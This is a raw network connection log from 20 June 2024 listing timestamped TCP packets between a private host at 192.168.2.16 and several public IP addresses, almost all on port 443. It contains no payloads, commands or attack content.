Jun 20, 2024 13:54:31.455254078 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:31.455265045 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:31.553822994 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.553921938 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.557288885 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.557306051 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.557718992 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.574078083 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.606565952 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.606642962 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.607939959 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.608316898 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.608453989 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.608545065 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.611763000 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.619937897 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:31.619980097 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:31.620063066 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:31.620301962 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:31.620315075 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:31.658802032 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.665896893 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.712505102 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.745220900 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.745307922 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.745487928 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:31.745517969 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.745673895 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.745771885 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.746495008 CEST	49735	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:31.746524096 CEST	443	49735	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:31.749175072 CEST	49738	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.749222040 CEST	443	49738	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.759552956 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:31.759588003 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:31.759663105 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:31.759979963 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:31.759991884 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:31.766019106 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.766107082 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.766205072 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.766422987 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:31.766457081 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:31.855262995 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.855351925 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.855418921 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.855681896 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.855741024 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.855771065 CEST	49737	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.855788946 CEST	443	49737	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.941390991 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.941437960 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:31.941514969 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.941781998 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:31.941793919 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.230839014 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.231167078 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.231182098 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.232631922 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.232698917 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.234262943 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.234337091 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.234426022 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.234431982 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.257602930 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.265250921 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.265322924 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.276338100 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:32.276386976 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.276886940 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.277765989 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.281156063 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:32.281250000 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.281310081 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:32.294964075 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.294981956 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.295208931 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.328505993 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.339754105 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.344991922 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.345371962 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.345382929 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.346227884 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.346286058 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.346647024 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.346695900 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.346949100 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.346954107 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.357393980 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.358225107 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.358275890 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.358624935 CEST	49742	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.358638048 CEST	443	49742	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.359554052 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.359596014 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.359725952 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.360256910 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.360270977 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.387933016 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.420455933 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.420588017 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.420639038 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:32.422353983 CEST	49743	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:32.422370911 CEST	443	49743	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:32.423825979 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.464534998 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.590848923 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.590970039 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:32.597790003 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:32.597805977 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.598052025 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.624735117 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:32.672504902 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.692219019 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.692235947 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.692243099 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.692255974 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.692276001 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.692302942 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.692322016 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.692342043 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.692368031 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.693078041 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.693146944 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.693151951 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.693161011 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.693197966 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.704679012 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.704694033 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.704703093 CEST	49739	443	192.168.2.16	40.68.123.157
Jun 20, 2024 13:54:32.704709053 CEST	443	49739	40.68.123.157	192.168.2.16
Jun 20, 2024 13:54:32.722929001 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.722949982 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.722958088 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.723057032 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.723073006 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.766767025 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.782237053 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:32.807065010 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.807076931 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.807113886 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.807126045 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.807132959 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.807146072 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.807174921 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.807182074 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.816201925 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.816220045 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.816258907 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.816265106 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.816292048 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.816309929 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.816847086 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.816910982 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.828102112 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.828366995 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.828418970 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.828721046 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.830020905 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.830092907 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.830177069 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.868657112 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.868724108 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.869009018 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:32.869663954 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:32.869663954 CEST	49744	443	192.168.2.16	184.28.90.27
Jun 20, 2024 13:54:32.869684935 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.869695902 CEST	443	49744	184.28.90.27	192.168.2.16
Jun 20, 2024 13:54:32.876498938 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.897551060 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.897568941 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.897629976 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.897639990 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.897675991 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.898899078 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.898915052 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.898984909 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.898992062 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.899036884 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.903146029 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.903161049 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.903197050 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.903244972 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.903253078 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.903284073 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.903296947 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.912365913 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.912379980 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.912436008 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.912446022 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.912571907 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.959273100 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.959547043 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.959551096 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.959577084 CEST	443	49745	35.190.80.1	192.168.2.16
Jun 20, 2024 13:54:32.959606886 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.959635973 CEST	49745	443	192.168.2.16	35.190.80.1
Jun 20, 2024 13:54:32.984761000 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.984776020 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.984834909 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.984849930 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.984863043 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.984883070 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.985033035 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.985080957 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.985600948 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.985615015 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.985668898 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.985676050 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.986107111 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.986124039 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.986162901 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.986167908 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.986195087 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.986196041 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.986248970 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:32.986248970 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.986287117 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.988084078 CEST	49741	443	192.168.2.16	13.32.145.15
Jun 20, 2024 13:54:32.988097906 CEST	443	49741	13.32.145.15	192.168.2.16
Jun 20, 2024 13:54:33.095789909 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:33.697779894 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:33.935750961 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:34.212287903 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:34.212443113 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:34.212547064 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:34.908782959 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:35.068614960 CEST	49723	443	192.168.2.16	142.250.186.100
Jun 20, 2024 13:54:35.068650007 CEST	443	49723	142.250.186.100	192.168.2.16
Jun 20, 2024 13:54:36.416307926 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:36.416349888 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:36.416429043 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:36.416779041 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:36.416805029 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:36.417275906 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:36.417300940 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:36.417351007 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:36.417542934 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:36.417555094 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.057287931 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.057790041 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.057805061 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.059217930 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.059302092 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.059753895 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.059834957 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.059957027 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.059962988 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.062657118 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.062885046 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.062913895 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.066488028 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.066572905 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.066847086 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.067025900 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.102585077 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.119770050 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.119801998 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.167778015 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.237298012 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237349987 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237386942 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237409115 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.237422943 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237441063 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237493038 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.237504959 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237554073 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237557888 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.237564087 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237607002 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.237611055 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237643957 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237679005 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.237679005 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237685919 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.237725973 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.243130922 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.248169899 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:37.294776917 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.294783115 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.310792923 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:37.328641891 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.328682899 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.328762054 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.328799963 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.328808069 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.328850985 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.329585075 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.329673052 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.329701900 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.329710007 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.329761982 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.329767942 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.329864979 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.329938889 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.329943895 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.330229044 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.330329895 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.330384016 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.330389023 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.330461979 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.330529928 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.330535889 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.330678940 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.331101894 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.331248045 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.331324100 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.331372023 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.331377983 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.331476927 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.331742048 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.331927061 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.331989050 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.331994057 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.332070112 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.332135916 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.332140923 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.333606958 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.333688021 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.333693027 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.374773979 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.420903921 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421178102 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421186924 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421235085 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.421241999 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421617031 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421679020 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.421680927 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421685934 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.421741962 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.421804905 CEST	443	49749	104.21.84.200	192.168.2.16
